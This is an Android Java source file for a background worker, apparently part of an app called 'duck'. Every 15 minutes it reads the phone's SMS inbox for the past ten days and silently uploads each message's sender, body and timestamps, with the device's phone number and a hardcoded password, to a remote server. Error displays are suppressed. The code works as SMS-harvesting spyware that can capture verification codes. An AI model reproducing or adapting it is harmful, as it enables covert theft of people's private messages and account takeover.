package com.app.duck.util;

import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
import static com.app.duck.Config.SMS_UPLOAD_TAG;

import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.Telephony;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.work.ExistingPeriodicWorkPolicy;
import androidx.work.PeriodicWorkRequest;
import androidx.work.WorkManager;
import androidx.work.Worker;
import androidx.work.WorkerParameters;

import com.blankj.utilcode.util.GsonUtils;
import com.blankj.utilcode.util.StringUtils;
import com.blankj.utilcode.util.TimeUtils;
import com.blankj.utilcode.util.Utils;
import com.app.duck.Config;
import com.app.duck.database.DBHelper;
import com.app.http.APPConfig;
import com.app.http.BaseBean;
import com.app.http.Http;
import com.elvishew.xlog.XLog;
import com.jeremyliao.liveeventbus.LiveEventBus;

import java.util.ArrayList;
import java.util.Calendar;
import java.util.HashMap;
import java.util.concurrent.TimeUnit;

public class CheckInboxWorker extends Worker {
    public CheckInboxWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) {
        super(context, workerParams);
    }

    @NonNull
    @Override
    public Result doWork() {
        if (StringUtils.isEmpty(HxUtils.getPhone())) {
            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 retrying.[No phone number set yet.]");
            Log.i(Config.LOG_TAG, "duck.3 doWork: Sms inbox worker retrying.[No phone number set yet.]");
            XLog.i("duck.3 doWork: Sms inbox worker retrying.[No phone number set yet.]");
            return Result.retry();
        }
        try {
            Calendar calendar = Calendar.getInstance();
            calendar.add(Calendar.DAY_OF_MONTH, -10); // 向前推十天
            long tenDaysAgo = calendar.getTimeInMillis();
            ArrayList<Integer> list = new ArrayList<>();
            Uri inboxUri = Uri.parse("content://sms/inbox");
            String[] projection = new String[]{Telephony.Sms._ID};
            String sortOrder = "date DESC"; // 按日期倒序排序
            String selection = "date > ?";
            String[] selectionArgs = new String[]{String.valueOf(tenDaysAgo)};
            Cursor cursor = Utils.getApp().getContentResolver().
                    query(inboxUri,
                            projection,
                            selection,
                            selectionArgs,
                            sortOrder);
            if (cursor != null) {
                while (cursor.moveToNext()) {
                    int index = cursor.getColumnIndex(Telephony.Sms._ID);
                    if (index >= 0) {
                        int id = cursor.getInt(index);
                        list.add(id);
                    }
                }
                cursor.close();

            }
            for (Integer id : list) {
                DBHelper dbHelper = new DBHelper(Utils.getApp());
                boolean success = dbHelper.checkSuccessById(id);
                if (!success) {
                    HashMap<String, Object> map = new HashMap<>();
                    map.put("data", GsonUtils.toJson(queryInboxMessage(id)));
                    map.put("password", "o6M5sG7E@FAWLBL9");
                    Http.getInstance()
                            .setUrlPath(APPConfig.BASE, APPConfig.SMS)
                            .setParams(map)
                            .setErrorStyle(Http.ERROR_HIDE)
                            .setLoadStyle(Http.ERROR_HIDE)
                            .setRetryCount(3)
                            .post(new Http.HttpCallBack<String>() {
                                @Override
                                public void onNext(String model) {
                                    dbHelper.insertOrUpdateData(id, 1);
                                }

                                @Override
                                public void onError(Throwable ex) {
                                    super.onError(ex);
                                    Log.e(Config.LOG_TAG, "duck.3 onError: SMS[" + id + "] commit error.", ex);
                                    XLog.e("duck.3 onError: SMS[" + id + "] commit error.", ex);
                                }

                                @Override
                                public void onFail(BaseBean t) {
                                    super.onFail(t);
                                    Log.i(Config.LOG_TAG, "duck.3 onFail: SMS[" + id + "] commit fail.");
                                    XLog.i("duck.3 onFail: SMS[" + id + "] commit fail.");
                                }
                            });
                }

            }
            Log.i(Config.LOG_TAG, "duck.3 success.");
            XLog.i("duck.3 success.");
            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
            return Result.success();
        } catch (Exception e) {
            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 retrying.[" + e.getMessage() + "]");
            Log.e(Config.LOG_TAG, "duck.3 retrying.", e);
            XLog.e("duck.3 retrying.", e);
            return Result.retry();
        }


    }

    public static void start() {
        Log.i(Config.LOG_TAG, "duck.3 worker start.");
        XLog.i("duck.3 worker start.");
        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(CheckInboxWorker.class, 15, TimeUnit.MINUTES).build();
        WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
    }


    public static HashMap<String, String> queryInboxMessage(long id) {
        ContentResolver contentResolver = Utils.getApp().getContentResolver();
        HashMap<String, String> map = new HashMap<>();
        Uri uri = Uri.parse("content://sms/");
        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE, Telephony.Sms.BODY};
        String selection = Telephony.Sms._ID + " = ?";
        String[] selectionArgs = new String[]{String.valueOf(id)};
        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
        try {
            if (cursor != null && cursor.moveToFirst()) {
                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间，时间戳格式
                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
                map.put("address", HxUtils.getPhone());
                map.put("body", body);
                map.put("timestampMillis", sentTime + "");
                map.put("sender", sender);
                map.put("date", receiver);
                map.put("id", id + "");
            }
        } catch (Exception e) {
            Log.e(Config.LOG_TAG, "duck.3 message error.", e);
            XLog.e("duck.3 message error.", e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }

        }

        return map;

    }
}
